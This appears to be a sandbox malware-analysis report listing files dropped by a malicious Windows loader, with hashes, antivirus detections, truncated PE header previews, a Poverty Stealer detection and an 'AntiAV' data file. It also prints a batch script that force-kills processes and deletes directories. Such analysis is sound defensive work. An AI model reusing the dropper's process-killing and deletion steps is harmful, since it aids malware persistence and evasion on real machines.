SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4444160
Entropy (8bit):	7.982342640823578
Encrypted:	false
SSDEEP:	98304:2O2iTB5COUtEiSi3k5wZCgNLc/0VZp62iDrArPZ8QmtNOaR2xd5:2OjT/Crxj0erLc/0/NCrJCt
MD5:	43E41AEC9E2C027A0316B7500F14B9D4
SHA1:	599109F59DEBF7880DD9DECFED047829241AC341
SHA-256:	F5743915756451135C9902AE18AA3B6F3727CB2AC4444ACEF3F6B3DAEAB2982C
SHA-512:	B8A53692DCA178C97A5518317A8E3DBBCE3D1535881D048530FBA4F14719109B04ECD6BC6A98AFAF0C67E077B49C69B87DECD72C9ADC7EB92245D9CB4F1867C7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._g...............(..G...u..2............H...@.......................... ........D...@... ............................._.r.s.....r.....................(....................................................................................... . ..r......*(.................@....rsrc.........r......:(.............@....idata ......r......<(.............@... .p8...s......>(.............@...ddzecpfm.p...p...j...@(.............@...uavqjtyc..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1971200
Entropy (8bit):	7.95348999843645
Encrypted:	false
SSDEEP:	49152:Ewu28LyZRh0cNTgcPEmQw41B9TlF9WBqcPTHdMxV+437yyUR1u:Ewu28LGn0cacPpFAv7yxnu
MD5:	0409213E636D8433F9BE61EAC00CDB3F
SHA1:	ECBD3B3E1A6DB7521C3EA0C441BBE3BE1FE5761A
SHA-256:	45A1C3AAC4D7BBF621FBAF84CE2D99E4E810662E6619CF9D30A76EB734AB6CF4
SHA-512:	68A36EF898B835E87D38127993AB011FED435D543CC344AD3912ADAE035161576CF98DC5DD5D72EB2358BEF56AEE1EB737948165C93235748435DB19A186B8B6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^....... K...........@..........................PK...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...qcfhmskp.....p1......X..............@...ilrpjkes......K.....................@....taggant.0... K.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulzuUXz:NllUCUX
MD5:	DFF45826821889930BC215F17F0FDD54
SHA1:	C5BCD8AF2AE8F74AAB297B9A5E79599699425D0A
SHA-256:	46163A854FCAA14DA99E6A48486247A9F58816752AF2EA32A6F789ADC2EBC09F
SHA-512:	EF7FFD9F7F24643156D3422B4CE045ACDEC47E59A1E9F8A09E0D003485A2EA85AD4BDF3AC6905BC69C7DF601378ED55B03C00099727C401B88AE6E8A5F455BFE
Malicious:	false
Preview:	@...e.................................".9............@..........

C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	6.4826623312929055
Encrypted:	false
SSDEEP:	384:piY/4mcwYPSNOjKjg11+rVlOxxtNP97kJkgQ8pwIIumVbgORBprjlJZpTJ3uPbH0:piWWjjKjrOFgwItmVsOlr1B+9E
MD5:	D7F262A8282BE1508048344C20404DE9
SHA1:	CE852799CB2FD8E54FC5B8F55299DD36A032E981
SHA-256:	810A7284E9CB3207915DE92B78C40478F3FE27EFFA42F6F1EC242232EEE4D631
SHA-512:	BC7D18B9A66EFB0AA9F94F8AB7A167C83AA1FBEA9CA94AD745424D00051A980E396C58047533CE14C99977DF6F8C4640712E5F5B4B46E02008CF73FD70D70370
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M...,}..,}..,}..q~..,}..T..,}..,\|..,}..qt..,}..q...,}.Rich.,}.........PE..L.....f.................`...........".......p....@.......................................@..................................v..x....................................u...............................................p...............................text....^.......`.................. ..`.rdata.......p.......d..............@..@.data................p..............@....reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4434944
Entropy (8bit):	7.983959942781077
Encrypted:	false
SSDEEP:	98304:rc5Qa+sFdxQUKrG7miP3IQ3CXxwkqrLSEf7WyI2gqYrcK0Trb:rcma+uPKrG7miwQ3CBwkqaEfKydBKY3
MD5:	D001AE31BA54295C5FFEAC731279A162
SHA1:	397C71747241B8809E8B726FAB65BE1E587A3037
SHA-256:	7C13F8B27FB0421F589AAADA3EEE149DFCBF4916240717EC4D18F07B545750A3
SHA-512:	9AB3A40132C7319E0EC1E489FDA9BCA5D013FE956D58657A446A2411A2F0D1AF98A82A8FFDE09E832F28935C44DCE9A3FA52DA5132DBAF307FB88581ADAFC3E2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@..................................kD...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...oldbffal.0.......0...T(.............@...xzawrklp.............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4444160
Entropy (8bit):	7.982342640823578
Encrypted:	false
SSDEEP:	98304:2O2iTB5COUtEiSi3k5wZCgNLc/0VZp62iDrArPZ8QmtNOaR2xd5:2OjT/Crxj0erLc/0/NCrJCt
MD5:	43E41AEC9E2C027A0316B7500F14B9D4
SHA1:	599109F59DEBF7880DD9DECFED047829241AC341
SHA-256:	F5743915756451135C9902AE18AA3B6F3727CB2AC4444ACEF3F6B3DAEAB2982C
SHA-512:	B8A53692DCA178C97A5518317A8E3DBBCE3D1535881D048530FBA4F14719109B04ECD6BC6A98AFAF0C67E077B49C69B87DECD72C9ADC7EB92245D9CB4F1867C7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._g...............(..G...u..2............H...@.......................... ........D...@... ............................._.r.s.....r.....................(....................................................................................... . ..r......*(.................@....rsrc.........r......:(.............@....idata ......r......<(.............@... .p8...s......>(.............@...ddzecpfm.p...p...j...@(.............@...uavqjtyc..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1971200
Entropy (8bit):	7.95348999843645
Encrypted:	false
SSDEEP:	49152:Ewu28LyZRh0cNTgcPEmQw41B9TlF9WBqcPTHdMxV+437yyUR1u:Ewu28LGn0cacPpFAv7yxnu
MD5:	0409213E636D8433F9BE61EAC00CDB3F
SHA1:	ECBD3B3E1A6DB7521C3EA0C441BBE3BE1FE5761A
SHA-256:	45A1C3AAC4D7BBF621FBAF84CE2D99E4E810662E6619CF9D30A76EB734AB6CF4
SHA-512:	68A36EF898B835E87D38127993AB011FED435D543CC344AD3912ADAE035161576CF98DC5DD5D72EB2358BEF56AEE1EB737948165C93235748435DB19A186B8B6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^....... K...........@..........................PK...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...qcfhmskp.....p1......X..............@...ilrpjkes......K.....................@....taggant.0... K.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ajbrb5wm.qmr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsv2cedk.nqa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3003392
Entropy (8bit):	6.578146232644914
Encrypted:	false
SSDEEP:	49152:uttBUV5eLR+wRRnPz8AMtO8OTBVqVkBXr35wLo:SwXaR+wRpz8AMtuT3LXT5wL
MD5:	838DFE4FDFE00ACD5160ED5F7E5FE620
SHA1:	67C679C92A0FED7EBD5669645034988FCFC9C16D
SHA-256:	A1AA2F3960356AC618995C25C51A91CABB963A878A45AC0213BBE5BC478772EF
SHA-512:	70C5A95DA4687E90E46D55174B854620BC448EE421B1B6007B3768025797DC41A550E9E33628BA146A00945F24C6AD9F220011A5227EE657E7D9B7C3525C7000
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....>.....@.................................W...k............................f1..............................f1..................................................... . ............................@....rsrc...............................@....idata ............................@...opurfhmz..........................@...kcliltur.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
